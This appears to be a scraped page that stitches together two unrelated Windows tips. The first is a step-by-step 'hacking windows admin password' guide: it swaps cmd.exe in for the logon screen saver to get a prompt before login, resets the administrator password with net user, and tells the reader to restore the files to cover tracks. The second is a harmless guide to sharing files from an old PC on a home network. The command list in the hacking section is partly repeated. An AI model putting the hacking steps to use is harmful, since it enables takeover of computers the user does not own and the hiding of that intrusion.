hacking windows admin password
If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user password"
If the Administrator Account is called admin and you want the password abcd enter this
"net user admin abcd"
and this changes the password on admin machine to abcd and you r in.
But i was not able to execute this on xp-2 it works on win 200o standalone machine.
Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks
then enter this set of commands Exactly:
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack

turn your old pc to File server
Turn your old PC into a File Server
If you want to give that old computer new life on your home network, try using it as a file server for music or pictures or whatever so that no matter where in the house you are you can access your massive digital library from any computer. Here’s what you’ll need to do…
Connection
You’ll need a home network. If you don’t you’ll need to buy a home network router ($50–$75 USD from DLink, Linksys, Netgear, etc.) and connect it to you high speed Internet connection and connect all your computers to it, including the old computer you are going to turn into a server.
Requirements
You will need to make sure that there’s enough hard drive space for all your files. Really old computers will have hard drives that are less than 10 GB, so you might consider adding a new larger hard drive. An old Pentium II or better with a 10 GB hard drive is probably your best bet.
Network Card
Check to see that the computer has a network card so it can be connected to the network. Most older computers will have 10 Megabit Ethernet cards which should be fine, but you might consider upgrading to a newer 100 Mbit or Gigabit card.
Sharing
1) Put all your files on the computer in a folder called FILES on the Desktop (or you could name it DATA or anything else…just make it memorable and one word. In the example below I’ll continue to use the name FILES.)
2) For easy identification on the network you might consider renaming the computer SERVER (or FILESERVER) in Control Panel under Network and Identification Tab (in Windows 98).
3) Right click on the FILES folder to activate sharing and give the shared folder a name on the network. You may have to run the file and printer sharing wizard first then right click and activate sharing after this.
4) On the SERVER computer click START then Run then type cmd (if you have XP or Me) or command (if you have Windows 95/98) to get a DOS box.
5) At the C:> prompt type ipconfig (and hit return) to see what the computer’s IP address is.
Acquire
Now go the computer on your network where you want to play the files on. Start Windows Explorer. Here we’ll assign the SERVER computer as a network drive. You have a C drive which is your main hard drive. You have a D drive wihich is usually a CD or DVD drive. Your SERVER can become yet another drive letter. Maybe your Z: drive or your X: drive.
In Windows Explorer at the top click the Tools menu then click Map Network Drive option. Under “Drive:” choose a drive letter that the SERVER will be assigned. It can be any unassigned drive letter. Z: or X: or whatever you want.
In the “Folder” field, type the IP address of the SERVER and add the name of the folder that you shared. It should look something like: \\192.168.1.104\FILES. Then click Finish.
If you named the computer DATA, you could also use \\SERVER\DATA\
Now all those files are now accessible via the network as your Z drive. Enjoy
